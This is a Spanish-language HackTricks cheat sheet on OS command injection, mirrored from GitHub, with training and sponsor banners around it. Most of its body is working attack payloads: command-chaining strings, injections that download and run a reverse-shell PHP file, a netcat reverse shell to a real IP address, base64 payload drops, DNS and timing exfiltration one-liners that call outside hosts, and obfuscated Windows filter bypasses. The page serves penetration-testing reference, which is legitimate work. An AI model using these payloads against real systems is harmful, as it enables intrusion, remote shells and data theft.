mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
170 lines
7.2 KiB
Markdown
170 lines
7.2 KiB
Markdown
# Command Injection
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
|
Get Access Today:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
|
|
|
## ¿Qué es la inyección de comandos?
|
|
|
|
Una **inyección de comandos** permite la ejecución de comandos arbitrarios del sistema operativo por un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos generalmente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente.
|
|
|
|
### Contexto
|
|
|
|
Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto citado** (usando `"` o `'`) antes de los comandos.
|
|
|
|
## Inyección/Ejecución de Comandos
|
|
```bash
|
|
#Both Unix and Windows supported
|
|
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
|
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
|
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
|
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
|
ls %0A id # %0A Execute both (RECOMMENDED)
|
|
|
|
#Only unix supported
|
|
`ls` # ``
|
|
$(ls) # $()
|
|
ls; id # ; Chain commands
|
|
ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|
|
|
#Not executed but may be interesting
|
|
> /var/www/html/out.txt #Try to redirect the output to a file
|
|
< /etc/passwd #Try to send some input to the command
|
|
```
|
|
### **Bypasses de Limitación**
|
|
|
|
Si estás tratando de ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:**
|
|
|
|
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
|
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
|
{% endcontent-ref %}
|
|
|
|
### **Ejemplos**
|
|
```
|
|
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
|
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
|
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
|
```
|
|
### Parámetros
|
|
|
|
Aquí están los 25 principales parámetros que podrían ser vulnerables a la inyección de código y vulnerabilidades similares de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
|
```
|
|
?cmd={payload}
|
|
?exec={payload}
|
|
?command={payload}
|
|
?execute{payload}
|
|
?ping={payload}
|
|
?query={payload}
|
|
?jump={payload}
|
|
?code={payload}
|
|
?reg={payload}
|
|
?do={payload}
|
|
?func={payload}
|
|
?arg={payload}
|
|
?option={payload}
|
|
?load={payload}
|
|
?process={payload}
|
|
?step={payload}
|
|
?read={payload}
|
|
?function={payload}
|
|
?req={payload}
|
|
?feature={payload}
|
|
?exe={payload}
|
|
?module={payload}
|
|
?payload={payload}
|
|
?run={payload}
|
|
?print={payload}
|
|
```
|
|
### Exfiltración de datos basada en el tiempo
|
|
|
|
Extracción de datos: carácter por carácter
|
|
```
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
|
real 0m5.007s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
|
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
|
real 0m0.002s
|
|
user 0m0.000s
|
|
sys 0m0.000s
|
|
```
|
|
### Exfiltración de datos basada en DNS
|
|
|
|
Basado en la herramienta de `https://github.com/HoLyVieR/dnsbin` también alojada en dnsbin.zhack.ca
|
|
```
|
|
1. Go to http://dnsbin.zhack.ca/
|
|
2. Execute a simple 'ls'
|
|
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|
```
|
|
|
|
```
|
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
|
```
|
|
Herramientas en línea para verificar la exfiltración de datos basada en DNS:
|
|
|
|
* dnsbin.zhack.ca
|
|
* pingb.in
|
|
|
|
### Bypass de filtrado
|
|
|
|
#### Windows
|
|
```
|
|
powershell C:**2\n??e*d.*? # notepad
|
|
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
|
```
|
|
#### Linux
|
|
|
|
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
|
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
|
{% endcontent-ref %}
|
|
|
|
## Lista de Detección de Fuerza Bruta
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
|
|
|
## Referencias
|
|
|
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
|
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
|
|
|
{% hint style="success" %}
|
|
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Apoya a HackTricks</summary>
|
|
|
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
|
|
Obtén acceso hoy:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|